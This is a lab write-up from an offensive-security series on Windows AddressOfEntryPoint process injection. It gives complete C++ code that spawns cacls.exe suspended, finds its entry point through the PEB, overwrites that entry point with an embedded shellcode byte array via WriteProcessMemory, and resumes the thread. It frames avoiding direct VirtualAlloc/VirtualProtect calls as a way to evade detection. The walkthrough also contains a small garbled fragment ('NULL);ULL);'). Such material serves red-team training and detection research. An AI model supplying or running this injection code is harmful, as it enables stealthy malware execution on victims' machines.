WPM Magic

UH

## Overview In this lab, we cover AddressOfEntryPoint Injection technique, This lab utilize the AddressOfEntryPoint of process which is RX region and WriteProcessMemory internal magic to change the permission and write the shellcode. This technique is avoiding the usage of VirtualAlloc, VirtualProtect APIs directly inside the code. The working of VirtualProtect will be covered by WPM magic. ## Steps 1. Get PEB address and pointer to image base address 2. Get process image base address 3. Read target process image headers 4. Get AddressOfEntryPoint (RX region) 5. Write shellcode to image entry point and execute it (WPM MAGIC HERE) ### WPM MAGIC CALLS WriteProcessMemory ----> NtWriteVirtualMemory ----> NtProtectVirtualMemory ## Walkthrough NT Native API functions are not directly available in the standard Windows API, so we define function pointers to use them. ```cpp typedef NTSTATUS(NTAPI* NtReadVirtualMemory_t)( HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToRead, PULONG NumberOfBytesRead ); typedef NTSTATUS(NTAPI* NtResumeThread_t)( HANDLE ThreadHandle, PULONG SuspendCount ); typedef NTSTATUS(NTAPI* NtQueryInformationProcess_t)( HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength ); ``` Open the target process in suspended state. ```cpp STARTUPINFOA si; si = {}; PROCESS_INFORMATION pi = {}; PROCESS_BASIC_INFORMATION pbi = {}; DWORD rLen = 0; CreateProcessA(0, (LPSTR)"C:\\Windows\\System32\\cacls.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, &si, &pi); ``` Resolve the native API functions pointer address ```cpp NtQueryInformationProcess_t NtQueryInformationProcess = (NtQueryInformationProcess_t)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryInformationProcess"); NtReadVirtualMemory_t NtReadVirtualMemory = (NtReadVirtualMemory_t)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtReadVirtualMemory"); NtResumeThread_t NtResumeThread = (NtResumeThread_t)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtResumeThread"); ``` Get PEB address and pointer to image base ```cpp NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &rLen); DWORD_PTR pebOs = (DWORD_PTR)pbi.PebBaseAddress + 0x10; ``` Get process image base address, read target process image headers, get AddressOfEntryPoint and write shellcode to image entry point and execute it. ```cpp // get process image base address LPVOID iBase = 0; NtReadVirtualMemory(pi.hProcess, (LPVOID)pebOs, &iBase, sizeof(LPVOID), NULL); // read target process image headers BYTE hBuffer[4096] = {}; NtReadVirtualMemory(pi.hProcess, (LPVOID)iBase, hBuffer, 4096, NULL); // get AddressOfEntryPoint PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hBuffer; PIMAGE_NT_HEADERS64 ntHeader = (PIMAGE_NT_HEADERS64)((DWORD_PTR)hBuffer + dosHeader->e_lfanew); LPVOID cEntry = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)iBase); // write shellcode to image entry point and execute it WriteProcessMemory(pi.hProcess, cEntry, scode, sizeof(scode), NULL); NtResumeThread(pi.hThread, NULL);ULL); ``` ## Full Code ```cpp #include #include #include typedef NTSTATUS(NTAPI* NtReadVirtualMemory_t)( HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToRead, PULONG NumberOfBytesRead ); typedef NTSTATUS(NTAPI* NtResumeThread_t)( HANDLE ThreadHandle, PULONG SuspendCount ); typedef NTSTATUS(NTAPI* NtQueryInformationProcess_t)( HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength ); int main() { unsigned char scode[] = { 0x40, 0x55, 0x57, 0x48, 0x81, 0xEC, 0xB8, 0x03, 0x00, 0x00, 0x48, 0x8D, 0x6C, 0x24, 0x60, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x8B, 0x40, 0x18, 0x48, 0x89, 0x45, 0x08, 0x48, 0x8B, 0x45, 0x08, 0xC6, 0x40, 0x48, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x8B, 0x40, 0x18, 0x48, 0x83, 0xC0, 0x20, 0x48, 0x89, 0x85, 0x30, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x30, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x00, 0x48, 0x89, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48, 0xB8, 0x6B, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x48, 0x89, 0x45, 0x38, 0x48, 0xB8, 0x65, 0x00, 0x6C, 0x00, 0x33, 0x00, 0x32, 0x00, 0x48, 0x89, 0x45, 0x40, 0x48, 0xB8, 0x2E, 0x00, 0x64, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x48, 0x89, 0x45, 0x48, 0x48, 0xC7, 0x45, 0x50, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x85, 0x50, 0x01, 0x00, 0x00, 0x00, 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NtReadVirtualMemory = (NtReadVirtualMemory_t)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtReadVirtualMemory"); NtResumeThread_t NtResumeThread = (NtResumeThread_t)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtResumeThread"); // get PEB address and pointer to image base NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &rLen); DWORD_PTR pebOs = (DWORD_PTR)pbi.PebBaseAddress + 0x10; // get process image base address LPVOID iBase = 0; NtReadVirtualMemory(pi.hProcess, (LPVOID)pebOs, &iBase, sizeof(LPVOID), NULL); // read target process image headers BYTE hBuffer[4096] = {}; NtReadVirtualMemory(pi.hProcess, (LPVOID)iBase, hBuffer, 4096, NULL); // get AddressOfEntryPoint PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hBuffer; PIMAGE_NT_HEADERS64 ntHeader = (PIMAGE_NT_HEADERS64)((DWORD_PTR)hBuffer + dosHeader->e_lfanew); LPVOID cEntry = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)iBase); // write shellcode to image entry point and execute it WriteProcessMemory(pi.hProcess, cEntry, scode, sizeof(scode), NULL); NtResumeThread(pi.hThread, NULL); return 0; } ``` ## Demonstration ![](Asset/PE.gif) For GitHub-Repo Click Here: [Offensive-Panda/ProcessInjectionTechniques](https://github.com/Offensive-Panda/ProcessInjectionTechniques/tree/main/AddressOfEntryPoint_Code_Injection/AddressOfEntryPoint_Code_Injection) ### Disclaimer The content provided on this series is for educational and informational purposes only. It is intended to help users understand cybersecurity concepts and techniques for improving security defenses!